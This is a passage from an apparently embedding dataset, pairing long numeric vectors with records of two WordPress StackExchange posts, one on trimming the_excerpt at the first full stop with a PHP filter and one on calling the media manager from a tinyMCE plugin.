-0.018768310546875,
0.0278167724609375,
0.021942138671875,
-0.012542724609375,
0.045440673828125,
0.003711700439453125,
-0.00487518310546875,
-0.0160064697265625,
0.04046630859375,
0.003299713134765625,
-0.00366973876953125,
-0.00836181640625,
-0.05047607421875,
0.006877899169921875,
0.0228424072265625,
-0.02734375,
-0.022918701171875,
0.0065155029296875,
0.025787353515625,
-0.040008544921875,
-0.0176544189453125,
0.06170654296875,
-0.01885986328125,
0.04833984375,
-0.032318115234375,
-0.0083465576171875,
-0.003276824951171875,
-0.03802490234375,
-0.01263427734375,
-0.031280517578125,
0.047332763671875,
-0.037139892578125,
0.0223541259765625,
-0.0172576904296875,
-0.029693603515625,
0.06195068359375,
-0.044342041015625,
0.04339599609375,
-0.031585693359375,
-0.01104736328125,
-0.01239013671875,
-0.06854248046875,
0.024139404296875,
0.0038089752197265625,
0.01091766357421875,
0.0232391357421875,
0.034637451171875,
0.0262298583984375,
-0.0284881591796875,
0.005237579345703125,
0.00363922119140625,
0.0083160400390625,
-0.050628662109375,
-0.01230621337890625,
-0.0225830078125,
-0.037506103515625,
-0.0325927734375,
0.01526641845703125,
0.0196075439453125,
-0.053375244140625,
0.04620361328125,
-0.005870819091796875,
-0.0108642578125,
0.03265380859375,
-0.0183563232421875,
0.03643798828125,
0.0389404296875,
-0.0012807846069335938,
-0.005649566650390625,
-0.0232086181640625,
-0.0280914306640625,
-0.006999969482421875,
0.0262298583984375,
0.031646728515625,
-0.0219573974609375,
0.0174407958984375,
-0.0243988037109375,
0.0152740478515625,
-0.009521484375,
-0.010040283203125,
-0.018798828125,
0.006763458251953125,
0.0364990234375,
-0.00505828857421875,
0.0089111328125,
-0.0250091552734375,
-0.01568603515625,
0.0238800048828125,
0.0755615234375,
-0.010223388671875,
0.031646728515625,
-0.0210723876953125,
0.0765380859375,
0.034820556640625,
0.0234832763671875,
0.01300048828125,
-0.0207977294921875,
-0.02886962890625,
0.0118560791015625,
-0.0038623809814453125,
0.01534271240234375,
-0.0194549560546875,
0.0372314453125,
0.038787841796875,
-0.00954437255859375,
0.039093017578125,
-0.034820556640625,
-0.007495880126953125,
-0.0036334991455078125,
0.030670166015625,
0.0273284912109375,
0.0018129348754882812,
-0.02056884765625,
-0.01300811767578125,
-0.01291656494140625,
-0.0030155181884765625,
-0.00502777099609375,
-0.026092529296875,
-0.0239715576171875,
-0.0184783935546875,
0.028961181640625,
0.0193634033203125,
-0.03790283203125,
0.029144287109375,
-0.01119232177734375,
-0.031707763671875,
0.01369476318359375,
-0.0540771484375,
-0.0036907196044921875,
-0.01080322265625,
-0.0167999267578125,
-0.06683349609375,
-0.0665283203125,
0.04193115234375,
-0.054107666015625,
-0.0188751220703125,
0.013946533203125,
0.006748199462890625,
0.01354217529296875,
-0.017578125,
-0.008544921875,
0.031280517578125,
-0.06988525390625,
0.0056915283203125,
0.0262603759765625,
0.032867431640625,
-0.02655029296875,
-0.06146240234375,
-0.00604248046875,
0.00818634033203125,
0.028717041015625,
-0.046478271484375,
0.02911376953125,
0.0002658367156982422,
-0.048736572265625,
-0.0848388671875,
0.06292724609375,
-0.03265380859375,
-0.032379150390625,
-0.0673828125,
0.0163726806640625,
-0.014007568359375,
0.0232391357421875,
-0.0190582275390625,
0.004032135009765625,
0.0018758773803710938,
0.060089111328125,
0.04681396484375,
0.0266876220703125,
0.0306549072265625,
0.017333984375,
-0.0478515625,
0.01538848876953125,
-0.0158843994140625,
0.06103515625,
-0.052459716796875,
0.0035991668701171875,
0.0236358642578125,
0.0484619140625,
-0.00605010986328125,
0.0071258544921875,
0.0304718017578125,
-0.005023956298828125,
-0.0309295654296875,
-0.01209259033203125,
0.004680633544921875,
0.025482177734375,
0.10400390625,
0.038055419921875,
0.0211029052734375,
-0.06964111328125,
0.0509033203125,
0.01448822021484375,
-0.050384521484375,
-0.0169830322265625,
0.01104736328125,
-0.032135009765625,
-0.0273284912109375,
-0.0208282470703125,
0.0294647216796875,
-0.047882080078125,
-0.03509521484375,
-0.0291900634765625,
-0.0430908203125,
-0.035888671875,
0.0205535888671875,
-0.0002448558807373047,
0.005767822265625,
-0.0252532958984375,
-0.00737762451171875,
-0.01242828369140625,
-0.034393310546875,
0.024566650390625,
-0.0325927734375,
-0.0029048919677734375,
0.027862548828125,
0.0255889892578125,
-0.0017147064208984375,
-0.01149749755859375,
0.040435791015625,
-0.004650115966796875,
0.0208282470703125,
-0.013031005859375,
0.0142364501953125,
0.00025200843811035156,
0.0045623779296875,
0.0005936622619628906,
0.0008945465087890625,
-0.01898193359375,
-0.029449462890625,
0.009246826171875,
-0.0220184326171875,
0.03485107421875,
-0.004425048828125,
0.0171661376953125,
-0.03302001953125,
0.0226898193359375,
0.009246826171875,
-0.0269927978515625,
0.00026297569274902344,
0.0160369873046875,
-0.0201873779296875,
-0.007511138916015625,
0.0007119178771972656,
-0.0936279296875,
-0.0208892822265625,
0.0000603795051574707
] |
a23c692d179f32a1ef49d6073915e4be842ff93b
|
Wordpress Stackexchange
Q: Limit the_excerpt in the first point (.) of the sentence I would like to filter the function the_excerpt to stop to find the first endpoint.
Ex: "This is the article summary which ends at the endpoint with a full-stop."
Any idea is welcome.
A: First, please make sure you understand the difference between the_excerpt and the_content. You are asking about the_excerpt but I suspect that you might actually mean the_content. That said...
You can filter the the_excerpt function with a filter of the same name.
add_filter(
'the_excerpt',
function ($excerpt) {
return substr($excerpt,0,strpos($excerpt,'.')+1);
}
);
|
Q: Limit the_excerpt in the first point (.) of the sentence I would like to filter the function the_excerpt to stop to find the first endpoint.
Ex: "This is the article summary which ends at the endpoint with a full-stop."
Any idea is welcome.
A: First, please make sure you understand the difference between the_excerpt and the_content. You are asking about the_excerpt but I suspect that you might actually mean the_content. That said...
You can filter the the_excerpt function with a filter of the same name.
add_filter(
'the_excerpt',
function ($excerpt) {
return substr($excerpt,0,strpos($excerpt,'.')+1);
}
);
|
wordpress
|
{
"language": "en",
"length": 95,
"provenance": "stackexchange_00019.jsonl.gz:437029",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113972"
}
|
[
-0.0246734619140625,
-0.034271240234375,
0.047882080078125,
0.029815673828125,
-0.057464599609375,
0.01001739501953125,
0.022857666015625,
-0.036773681640625,
0.01259613037109375,
0.03863525390625,
-0.02838134765625,
-0.0016918182373046875,
0.019805908203125,
-0.01525115966796875,
-0.0174407958984375,
-0.0178375244140625,
0.01031494140625,
0.0010461807250976562,
0.014190673828125,
-0.0160980224609375,
0.0206451416015625,
-0.01561737060546875,
-0.00479888916015625,
0.0594482421875,
-0.01288604736328125,
0.0180206298828125,
0.1141357421875,
-0.0290374755859375,
-0.004276275634765625,
-0.0286102294921875,
0.01097869873046875,
-0.0087738037109375,
0.0206298828125,
0.06378173828125,
-0.07293701171875,
0.005615234375,
-0.039215087890625,
0.0259552001953125,
0.0223236083984375,
-0.0049896240234375,
0.03216552734375,
-0.020904541015625,
-0.07696533203125,
0.030181884765625,
-0.043121337890625,
-0.04559326171875,
0.052520751953125,
-0.0179595947265625,
0.0325927734375,
-0.026214599609375,
0.0163116455078125,
0.012176513671875,
0.0178375244140625,
-0.053497314453125,
-0.01113128662109375,
0.02874755859375,
0.01480865478515625,
-0.018585205078125,
0.01422119140625,
-0.0279693603515625,
-0.0150146484375,
0.0167388916015625,
0.0294647216796875,
0.021209716796875,
0.00923919677734375,
-0.004596710205078125,
-0.006683349609375,
0.021728515625,
-0.00846099853515625,
-0.01274871826171875,
0.004444122314453125,
-0.01374053955078125,
0.012054443359375,
-0.04034423828125,
-0.0165863037109375,
0.0241546630859375,
-0.0080413818359375,
0.014892578125,
0.00981903076171875,
-0.00955963134765625,
-0.051116943359375,
-0.046417236328125,
-0.054351806640625,
-0.01593017578125,
-0.01540374755859375,
-0.007232666015625,
-0.0250396728515625,
0.022674560546875,
0.002803802490234375,
0.0022373199462890625,
0.00460052490234375,
0.049407958984375,
0.00492095947265625,
-0.0020389556884765625,
-0.029052734375,
-0.0221710205078125,
0.0174102783203125,
0.0257415771484375,
-0.040069580078125,
-0.0469970703125,
0.00844573974609375,
-0.0284576416015625,
0.0119171142578125,
-0.0190277099609375,
0.03948974609375,
0.03863525390625,
-0.0231475830078125,
0.0017910003662109375,
0.07196044921875,
0.03179931640625,
0.0167388916015625,
0.05181884765625,
-0.0184783935546875,
-0.05987548828125,
-0.01119232177734375,
0.0244903564453125,
-0.03240966796875,
0.01471710205078125,
0.038848876953125,
-0.0252532958984375,
0.019012451171875,
0.005615234375,
0.04254150390625,
-0.01367950439453125,
-0.0157470703125,
-0.0232086181640625,
-0.0306549072265625,
-0.0308837890625,
0.036163330078125,
0.0321044921875,
-0.0032501220703125,
0.007778167724609375,
-0.04498291015625,
-0.03485107421875,
-0.04107666015625,
-0.00923919677734375,
0.044036865234375,
0.015350341796875,
0.021942138671875,
-0.029815673828125,
0.040069580078125,
0.015899658203125,
0.001583099365234375,
0.033599853515625,
-0.0264434814453125,
0.006298065185546875,
0.026458740234375,
0.00634765625,
-0.028533935546875,
-0.0300445556640625,
-0.0244140625,
-0.0038089752197265625,
0.07342529296875,
-0.036041259765625,
-0.08416748046875,
-0.088134765625,
-0.03271484375,
-0.049713134765625,
0.000644683837890625,
-0.07098388671875,
0.0106353759765625,
-0.0243072509765625,
-0.03265380859375,
-0.06378173828125,
-0.0819091796875,
0.01294708251953125,
-0.008758544921875,
-0.0179901123046875,
0.01708984375,
0.057769775390625,
-0.000438690185546875,
0.0278167724609375,
0.00403594970703125,
0.00896453857421875,
-0.0079193115234375,
-0.01239013671875,
-0.0044708251953125,
-0.026947021484375,
0.004184722900390625,
0.07806396484375,
0.0201263427734375,
-0.02203369140625,
-0.0288238525390625,
0.021026611328125,
-0.0203857421875,
0.0048980712890625,
0.03460693359375,
0.0377197265625,
-0.02398681640625,
0.011505126953125,
0.0183563232421875,
0.035308837890625,
-0.0037078857421875,
-0.00988006591796875,
-0.00408172607421875,
-0.0526123046875,
0.03009033203125,
-0.036407470703125,
0.0008478164672851562,
0.05169677734375,
0.07373046875,
-0.0090179443359375,
0.05792236328125,
-0.045440673828125,
-0.0428466796875,
0.013702392578125,
-0.01509857177734375,
0.037353515625,
-0.01279449462890625,
-0.01555633544921875,
0.020050048828125,
-0.0107421875,
-0.00839996337890625,
-0.0207366943359375,
-0.0380859375,
0.0330810546875,
-0.020355224609375,
-0.00922393798828125,
-0.008544921875,
0.00804901123046875,
0.0035343170166015625,
0.00594329833984375,
-0.0120697021484375,
0.0094451904296875,
0.08587646484375,
-0.06939697265625,
0.0265045166015625,
-0.059356689453125,
0.07843017578125,
-0.02838134765625,
-0.04150390625,
0.03436279296875,
0.048797607421875,
0.0008091926574707031,
-0.0350341796875,
0.040283203125,
0.0118255615234375,
-0.0005774497985839844,
-0.037139892578125,
0.0248260498046875,
0.0694580078125,
0.042633056640625,
-0.00432586669921875,
-0.056243896484375,
0.0894775390625,
-0.06109619140625,
0.0003180503845214844,
-0.04766845703125,
0.0197296142578125,
0.0260009765625,
-0.037017822265625,
-0.033050537109375,
0.0347900390625,
-0.0279998779296875,
0.037109375,
0.00830841064453125,
0.011199951171875,
0.01532745361328125,
-0.056427001953125,
0.0399169921875,
-0.00038623809814453125,
-0.023193359375,
-0.009521484375,
-0.0094146728515625,
0.006641387939453125,
0.023773193359375,
0.059234619140625,
0.058441162109375,
-0.0164947509765625,
-0.0361328125,
0.0164337158203125,
0.11541748046875,
-0.00431060791015625,
0.0311126708984375,
0.00348663330078125,
-0.057464599609375,
-0.01279449462890625,
0.0136566162109375,
-0.0347900390625,
-0.025146484375,
0.00634002685546875,
0.01416015625,
-0.0118408203125,
-0.006500244140625,
0.007389068603515625,
-0.029388427734375,
0.01218414306640625,
0.041229248046875,
-0.009552001953125,
-0.05694580078125,
0.0007476806640625,
-0.0024776458740234375,
-0.047088623046875,
0.0212554931640625,
0.01461029052734375,
-0.04779052734375,
0.0203094482421875,
-0.0177459716796875,
0.03692626953125,
-0.04351806640625,
0.01526641845703125,
0.040496826171875,
-0.040771484375,
0.00994873046875,
0.0078887939453125,
0.0011644363403320312,
-0.0014104843139648438,
-0.022186279296875,
-0.0233001708984375,
0.02850341796875,
-0.08489990234375,
0.00743865966796875,
0.027313232421875,
0.03497314453125,
0.01171875,
-0.0113983154296875,
-0.01470184326171875,
0.043182373046875,
-0.025421142578125,
0.006988525390625,
0.037322998046875,
-0.051910400390625,
-0.01480865478515625,
0.0261383056640625,
-0.04058837890625,
-0.0090789794921875,
0.06817626953125,
-0.0209503173828125,
0.016937255859375,
-0.0224151611328125,
-0.0338134765625,
-0.0198974609375,
-0.061004638671875,
0.0261993408203125,
0.005825042724609375,
0.033447265625,
0.013885498046875,
0.03912353515625,
-0.0034122467041015625,
-0.07635498046875,
-0.00012814998626708984,
-0.0235595703125,
-0.021087646484375,
0.047637939453125,
-0.003177642822265625,
0.00891876220703125,
-0.0440673828125,
0.0227203369140625,
-0.0006208419799804688,
-0.0012750625610351562,
-0.01165771484375,
-0.01287841796875,
-0.0222015380859375,
0.0089569091796875,
0.0170745849609375,
0.052978515625,
0.030731201171875,
0.0287933349609375,
0.068603515625,
-0.0198211669921875,
-0.027984619140625,
0.0010843276977539062,
-0.056976318359375,
0.007289886474609375,
0.07135009765625,
-0.0227813720703125,
-0.0311737060546875,
-0.0014276504516601562,
-0.018310546875,
-0.0008320808410644531,
0.0338134765625,
-0.0460205078125,
0.02337646484375,
-0.01227569580078125,
-0.0302581787109375,
-0.00775909423828125,
0.03680419921875,
0.019561767578125,
-0.0173492431640625,
0.0252532958984375,
0.053924560546875,
0.0087432861328125,
-0.006938934326171875,
-0.062744140625,
-0.01215362548828125,
0.037353515625,
0.01617431640625,
0.0153961181640625,
-0.005352020263671875,
-0.03662109375,
-0.023712158203125,
0.046722412109375,
-0.046966552734375,
-0.03436279296875,
-0.004764556884765625,
0.006439208984375,
0.03387451171875,
-0.0242919921875,
0.01213836669921875,
-0.034515380859375,
-0.03436279296875,
-0.015350341796875,
-0.014190673828125,
-0.038421630859375,
0.01385498046875,
-0.0034942626953125,
-0.0035648345947265625,
-0.01557159423828125,
0.044403076171875,
-0.07769775390625,
-0.01282501220703125,
0.027069091796875,
-0.0142669677734375,
-0.0196075439453125,
-0.034698486328125,
-0.0312347412109375,
-0.048248291015625,
-0.0220489501953125,
0.0017642974853515625,
0.053955078125,
-0.0030155181884765625,
-0.0003743171691894531,
-0.012786865234375,
0.04498291015625,
0.029571533203125,
-0.037994384765625,
0.023040771484375,
-0.0251007080078125,
0.01393890380859375,
0.0254058837890625,
0.0175323486328125,
-0.0269622802734375,
-0.03167724609375,
-0.0667724609375,
-0.03900146484375,
0.0140838623046875,
-0.00820159912109375,
0.07623291015625,
-0.027099609375,
0.0260467529296875,
-0.059783935546875,
-0.04046630859375,
-0.005100250244140625,
0.0126495361328125,
-0.0226593017578125,
0.0221405029296875,
-0.031341552734375,
-0.06512451171875,
0.0299835205078125,
0.034332275390625,
-0.0249786376953125,
0.00505828857421875,
0.0325927734375,
0.02972412109375,
-0.03900146484375,
-0.025177001953125,
-0.0024929046630859375,
0.02838134765625,
-0.038787841796875,
0.06591796875,
0.005222320556640625,
-0.0227203369140625,
0.1268310546875,
-0.02972412109375,
0.00579833984375,
0.0185394287109375,
0.0163421630859375,
0.01727294921875,
-0.0008921623229980469,
-0.001636505126953125,
0.0210418701171875,
-0.0181427001953125,
-0.052642822265625,
-0.0330810546875,
0.0199432373046875,
0.026397705078125,
0.00461578369140625,
-0.0221405029296875,
0.04644775390625,
0.008056640625,
-0.0177154541015625,
0.0030059814453125,
0.0633544921875,
0.016143798828125,
0.031890869140625,
0.0091705322265625,
-0.0019369125366210938,
0.006313323974609375,
-0.00208282470703125,
-0.0115203857421875,
0.01378631591796875,
0.0183563232421875,
0.050262451171875,
-0.0209197998046875,
0.0230712890625,
-0.023712158203125,
-0.001926422119140625,
0.03240966796875,
-0.02301025390625,
-0.055419921875,
0.009490966796875,
-0.0036106109619140625,
0.02606201171875,
0.040435791015625,
0.041717529296875,
0.0031528472900390625,
0.0036487579345703125,
0.01557159423828125,
0.01806640625,
0.01505279541015625,
0.030670166015625,
-0.01019287109375,
0.030059814453125,
-0.0004744529724121094,
-0.01285552978515625,
0.020233154296875,
0.0207977294921875,
-0.045989990234375,
0.0321044921875,
-0.0027923583984375,
0.0167999267578125,
0.00930023193359375,
0.025299072265625,
0.0284576416015625,
0.0006895065307617188,
-0.0098876953125,
0.0140380859375,
-0.004764556884765625,
-0.00933837890625,
-0.0190277099609375,
0.005504608154296875,
-0.014434814453125,
-0.01081085205078125,
0.0161590576171875,
0.0255126953125,
0.0204925537109375,
-0.004119873046875,
0.026214599609375,
0.01554107666015625,
-0.01270294189453125,
-0.022705078125,
-0.01372528076171875,
0.0249481201171875,
-0.0026645660400390625,
-0.0091552734375,
0.0007042884826660156,
-0.0030422210693359375,
0.012847900390625,
-0.01018524169921875,
-0.037506103515625,
0.0110321044921875,
0.00940704345703125,
0.058013916015625,
-0.024322509765625,
-0.03936767578125,
0.0112152099609375,
-0.004070281982421875,
-0.01235198974609375,
0.0254974365234375,
0.0287933349609375,
-0.022552490234375,
0.007175445556640625,
-0.00829315185546875,
0.0013408660888671875,
-0.1070556640625,
0.0189056396484375,
0.03045654296875,
0.04119873046875,
-0.08154296875,
0.00975799560546875,
-0.037078857421875,
0.022705078125,
-0.04254150390625,
-0.04486083984375,
-0.03564453125,
0.0079345703125,
-0.0020351409912109375,
0.010833740234375,
0.0281829833984375,
0.034454345703125,
0.00431060791015625,
0.0138702392578125,
-0.0186767578125,
0.02325439453125,
-0.01544952392578125,
0.05352783203125,
0.026763916015625,
0.037689208984375,
0.01371002197265625,
0.022552490234375,
-0.02117919921875,
-0.0185089111328125,
0.005290985107421875,
-0.0296173095703125,
-0.0223846435546875,
0.0020809173583984375,
-0.015625,
-0.004985809326171875,
0.01335906982421875,
-0.00400543212890625,
0.018463134765625,
-0.0090789794921875,
0.008209228515625,
-0.01158905029296875,
-0.023895263671875,
-0.007232666015625,
-0.0062713623046875,
0.03045654296875,
0.0018701553344726562,
0.06134033203125,
-0.00887298583984375,
-0.0200042724609375,
0.027618408203125,
-0.0042266845703125,
0.040283203125,
0.01183319091796875,
0.048309326171875,
-0.0401611328125,
0.030364990234375,
-0.0204620361328125,
0.037200927734375,
0.038177490234375,
0.0187225341796875,
0.057647705078125,
0.0245819091796875,
-0.0218963623046875,
-0.00980377197265625,
0.0190887451171875,
0.006877899169921875,
0.02166748046875,
0.0220794677734375,
-0.001865386962890625,
0.0038776397705078125,
0.0003845691680908203,
0.0140533447265625,
-0.0262603759765625,
0.01010894775390625,
-0.002094268798828125,
-0.01427459716796875,
0.02490234375,
-0.00746917724609375,
0.0236968994140625,
-0.033935546875,
0.0469970703125,
-0.01398468017578125,
0.001861572265625,
0.01470947265625,
-0.034576416015625,
-0.0005784034729003906,
-0.039886474609375,
0.009552001953125,
-0.0017271041870117188,
-0.051116943359375,
0.015838623046875,
0.04998779296875,
-0.0183868408203125,
-0.058624267578125,
0.00962066650390625,
-0.00458526611328125,
0.00689697265625,
-0.05169677734375,
0.037506103515625,
-0.01229095458984375,
0.035858154296875,
0.035003662109375,
0.0037937164306640625,
0.01739501953125,
0.044677734375,
-0.01111602783203125,
0.0157928466796875,
0.0212860107421875,
-0.0295867919921875,
-0.037750244140625,
-0.01549530029296875,
0.0170135498046875,
0.0667724609375,
-0.01763916015625,
0.034423828125,
0.0028228759765625,
-0.0149688720703125,
-0.0006451606750488281,
-0.048370361328125,
0.04571533203125,
-0.0242919921875,
-0.0148468017578125,
0.030792236328125,
0.000041365623474121094,
-0.04071044921875,
-0.029754638671875,
0.000040590763092041016,
-0.038360595703125,
0.0217742919921875,
-0.020599365234375,
0.0155181884765625,
0.0205535888671875,
-0.0242462158203125,
-0.03863525390625,
0.01898193359375,
0.03375244140625,
-0.014556884765625,
-0.0025959014892578125,
0.021209716796875,
-0.03131103515625,
-0.0017547607421875,
-0.028900146484375,
0.0595703125,
0.0017080307006835938,
0.0252227783203125,
-0.0450439453125,
-0.006317138671875,
0.0130767822265625,
0.020111083984375,
0.0196075439453125,
-0.00832366943359375,
0.0290069580078125,
-0.013885498046875,
0.0126800537109375,
-0.0017910003662109375,
-0.026580810546875,
0.023406982421875,
0.036407470703125,
0.046722412109375,
0.0214080810546875,
-0.042877197265625,
0.0186309814453125,
-0.06475830078125,
0.0129547119140625,
0.061065673828125,
0.0176239013671875,
0.03155517578125,
0.0169677734375,
-0.0038433074951171875,
-0.009063720703125,
-0.0168304443359375,
0.01580810546875,
-0.05133056640625,
-0.00970458984375,
0.0777587890625,
0.049041748046875,
-0.055023193359375,
-0.0309906005859375,
-0.039459228515625,
0.04962158203125,
0.00547027587890625,
0.06585693359375,
0.068359375,
0.03485107421875,
0.0718994140625,
0.010345458984375,
0.041107177734375,
0.01450347900390625,
-0.0156097412109375,
0.00853729248046875,
0.005420684814453125,
-0.0093536376953125,
-0.04052734375,
-0.0144805908203125,
0.027557373046875,
0.024932861328125,
-0.024200439453125,
0.0048980712890625,
0.01708984375,
0.030609130859375,
0.0011663436889648438,
-0.0157470703125,
0.006011962890625,
0.033660888671875,
0.043426513671875,
-0.01019287109375,
-0.00241851806640625,
0.034149169921875,
0.040679931640625,
0.01494598388671875,
0.0004150867462158203,
-0.051483154296875,
-0.022308349609375,
-0.03271484375,
0.01352691650390625,
0.025421142578125,
-0.003265380859375,
0.01444244384765625,
0.018585205078125,
0.036590576171875,
0.01922607421875,
0.0018787384033203125,
0.0196380615234375,
-0.024444580078125,
0.00926971435546875,
0.001811981201171875,
0.004573822021484375,
-0.031524658203125,
0.0075836181640625,
0.01409912109375,
-0.006488800048828125,
0.04034423828125,
0.01016998291015625,
-0.07440185546875,
-0.006137847900390625,
0.01995849609375,
-0.04669189453125,
-0.0211334228515625,
-0.02801513671875,
-0.0055694580078125,
0.02178955078125,
-0.003437042236328125,
0.028076171875,
0.009002685546875,
0.018463134765625,
0.01087188720703125,
0.002838134765625,
0.0127410888671875,
0.00555419921875,
-0.00911712646484375,
0.030487060546875,
-0.0192718505859375,
0.0269012451171875,
-0.06964111328125,
0.0015697479248046875,
0.0078582763671875,
-0.045806884765625,
0.00679779052734375,
0.033599853515625,
-0.0271759033203125,
0.032562255859375,
-0.0111236572265625,
0.01535797119140625,
-0.006275177001953125,
-0.032867431640625,
-0.006565093994140625,
-0.0190277099609375,
0.0172882080078125,
-0.0025482177734375,
-0.023162841796875,
-0.013671875,
0.0026607513427734375,
0.0236358642578125,
0.03662109375,
0.043670654296875,
0.0026340484619140625,
0.0364990234375,
0.011260986328125,
0.0218658447265625,
-0.0203704833984375,
0.00482940673828125,
0.004611968994140625,
-0.00748443603515625,
0.022979736328125,
-0.0052947998046875,
-0.059967041015625,
0.005741119384765625,
0.06842041015625,
-0.023223876953125,
0.04425048828125,
0.004962921142578125,
-0.0063323974609375,
-0.08404541015625,
0.032379150390625,
-0.002777099609375,
0.006557464599609375,
0.004779815673828125,
-0.02874755859375,
0.060211181640625,
0.047760009765625,
0.05303955078125,
-0.026153564453125,
0.045318603515625,
-0.046142578125,
0.023345947265625,
0.03314208984375,
0.0203094482421875,
0.034423828125,
0.031982421875,
-0.0283660888671875,
0.0102386474609375,
-0.01904296875,
0.008087158203125,
0.0036945343017578125,
0.037353515625,
0.001094818115234375,
-0.007221221923828125,
-0.005855560302734375,
-0.015380859375,
0.06488037109375,
0.01183319091796875,
0.00868988037109375,
-0.043701171875,
0.02423095703125,
-0.00457000732421875,
0.0474853515625,
-0.01422882080078125,
-0.00817108154296875,
-0.03216552734375,
-0.02001953125,
-0.01953125,
-0.0762939453125,
-0.035400390625,
0.01242828369140625,
-0.00042629241943359375,
-0.0255126953125,
-0.006855010986328125,
0.0015468597412109375,
-0.0391845703125,
0.0487060546875,
-0.0419921875,
0.004344940185546875,
-0.01464080810546875,
0.0176239013671875,
-0.03460693359375,
-0.03857421875,
-0.06951904296875,
0.048675537109375,
-0.04486083984375,
0.010986328125,
0.0506591796875,
-0.007678985595703125,
0.00846099853515625,
0.0268096923828125,
-0.0086669921875,
0.07373046875,
-0.08856201171875,
-0.0171661376953125,
0.004138946533203125,
0.02935791015625,
0.0036411285400390625,
-0.0234222412109375,
-0.014312744140625,
0.0208282470703125,
-0.0019044876098632812,
0.031585693359375,
-0.03997802734375,
-0.019683837890625,
-0.042144775390625,
-0.0190582275390625,
0.03466796875,
0.03131103515625,
-0.0247802734375,
-0.0274810791015625,
-0.01000213623046875,
0.0013523101806640625,
-0.0005311965942382812,
-0.01320648193359375,
-0.01043701171875,
-0.0380859375,
0.002346038818359375,
-0.01629638671875,
0.050628662109375,
-0.003910064697265625,
-0.0013608932495117188,
-0.02783203125,
0.019073486328125,
0.002712249755859375,
-0.010833740234375,
0.0012636184692382812,
-0.00988006591796875,
0.027618408203125,
0.0361328125,
-0.0268096923828125,
0.01035308837890625,
0.01021575927734375,
-0.0283355712890625,
-0.004596710205078125,
-0.0281982421875,
-0.02764892578125,
0.00574493408203125,
0.068359375,
0.06756591796875,
0.01222991943359375,
-0.060272216796875,
-0.006072998046875,
0.00787353515625,
0.03271484375,
0.008880615234375,
0.0092315673828125,
-0.0362548828125,
-0.0155181884765625,
0.0078277587890625,
-0.0193634033203125,
0.055999755859375,
-0.0513916015625,
-0.02178955078125,
0.0075531005859375,
-0.0178985595703125,
0.036224365234375,
-0.05389404296875,
-0.045440673828125,
-0.00925445556640625,
-0.0261688232421875,
-0.07342529296875,
-0.0005917549133300781,
0.0209808349609375,
-0.061676025390625,
-0.024078369140625,
-0.0277862548828125,
-0.00991058349609375,
0.02197265625,
-0.0045623779296875,
0.0168914794921875,
-0.0250701904296875,
0.0299072265625,
0.0136566162109375,
-0.03277587890625,
0.01953125,
0.0277557373046875,
0.0301361083984375,
-0.0251617431640625,
0.0142822265625,
0.02069091796875,
-0.0206298828125,
0.0071868896484375,
0.08843994140625,
-0.0030040740966796875,
0.0372314453125,
0.0015230178833007812,
-0.018096923828125,
-0.0041656494140625,
-0.02545166015625,
0.022613525390625,
0.0345458984375,
0.032318115234375,
-0.0022983551025390625,
-0.0193634033203125,
-0.025360107421875,
0.02008056640625,
-0.007808685302734375
] |
762cf0b902e904492896837bafe3132c47b64a16
|
Wordpress Stackexchange
Q: Bridge Wordpress Media API with custom tinyMCE plugin In my tinyMCE plugin, I would like to be able to call the Wordpress Media manager introduced in WP 3.5.
I am currently working on a plugin that needs to fetch images from the library.
I know we can easily call the media manager from a plugin but problem is in my tinyMCE plugin I can't call the wp_enqueue_media() in order to make it work.
So is there any way to bridge tinyMCE with this media manager API ?
|
Q: Bridge Wordpress Media API with custom tinyMCE plugin In my tinyMCE plugin, I would like to be able to call the Wordpress Media manager introduced in WP 3.5.
I am currently working on a plugin that needs to fetch images from the library.
I know we can easily call the media manager from a plugin but problem is in my tinyMCE plugin I can't call the wp_enqueue_media() in order to make it work.
So is there any way to bridge tinyMCE with this media manager API ?
|
wordpress
|
{
"language": "en",
"length": 88,
"provenance": "stackexchange_00019.jsonl.gz:437052",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114044"
}
|
[
0.0248260498046875,
0.0075836181640625,
-0.00815582275390625,
-0.0116424560546875,
0.015411376953125,
-0.0064697265625,
0.0273895263671875,
-0.0166015625,
-0.006084442138671875,
0.047637939453125,
-0.005237579345703125,
-0.0018720626831054688,
0.0083160400390625,
-0.01024627685546875,
-0.01763916015625,
-0.024566650390625,
0.0310211181640625,
0.00936126708984375,
0.04705810546875,
0.007350921630859375,
0.00878143310546875,
0.025299072265625,
0.017913818359375,
-0.040130615234375,
0.00833892822265625,
0.00732421875,
0.07440185546875,
-0.04486083984375,
0.00231170654296875,
-0.035125732421875,
0.006778717041015625,
0.0123748779296875,
0.001125335693359375,
0.0689697265625,
-0.05267333984375,
0.0277099609375,
0.00809478759765625,
0.04351806640625,
0.02691650390625,
0.022491455078125,
0.005847930908203125,
0.00262451171875,
0.02484130859375,
0.0223236083984375,
-0.007904052734375,
-0.02191162109375,
-0.0141448974609375,
-0.05023193359375,
0.0098876953125,
0.00992584228515625,
0.013641357421875,
-0.028411865234375,
0.0244598388671875,
-0.0224151611328125,
-0.0233612060546875,
-0.0308837890625,
-0.0165863037109375,
-0.02972412109375,
-0.01120758056640625,
0.059295654296875,
0.027587890625,
0.026611328125,
-0.0101318359375,
-0.0198516845703125,
-0.0035686492919921875,
0.0028972625732421875,
-0.015960693359375,
0.00655364990234375,
0.030120849609375,
-0.006816864013671875,
-0.0177459716796875,
0.00711822509765625,
0.0172576904296875,
-0.022430419921875,
-0.0289154052734375,
-0.007022857666015625,
0.0284271240234375,
-0.0439453125,
0.0027256011962890625,
-0.005489349365234375,
-0.00395965576171875,
-0.0072021484375,
-0.0207672119140625,
-0.02960205078125,
0.046478271484375,
0.041778564453125,
-0.004734039306640625,
-0.032928466796875,
0.001598358154296875,
0.006572723388671875,
-0.02294921875,
-0.046112060546875,
0.045989990234375,
0.013427734375,
-0.0279388427734375,
-0.00609588623046875,
0.0249481201171875,
-0.0078125,
0.00817108154296875,
0.0248260498046875,
0.01409912109375,
-0.05352783203125,
0.049530029296875,
-0.01250457763671875,
0.0242767333984375,
-0.0207366943359375,
-0.040802001953125,
-0.04156494140625,
0.06219482421875,
0.039794921875,
-0.011810302734375,
0.07403564453125,
0.0232696533203125,
0.0021114349365234375,
0.0116424560546875,
-0.0197906494140625,
-0.0229339599609375,
0.047454833984375,
-0.0167236328125,
0.0273590087890625,
-0.02996826171875,
-0.0299835205078125,
-0.0007305145263671875,
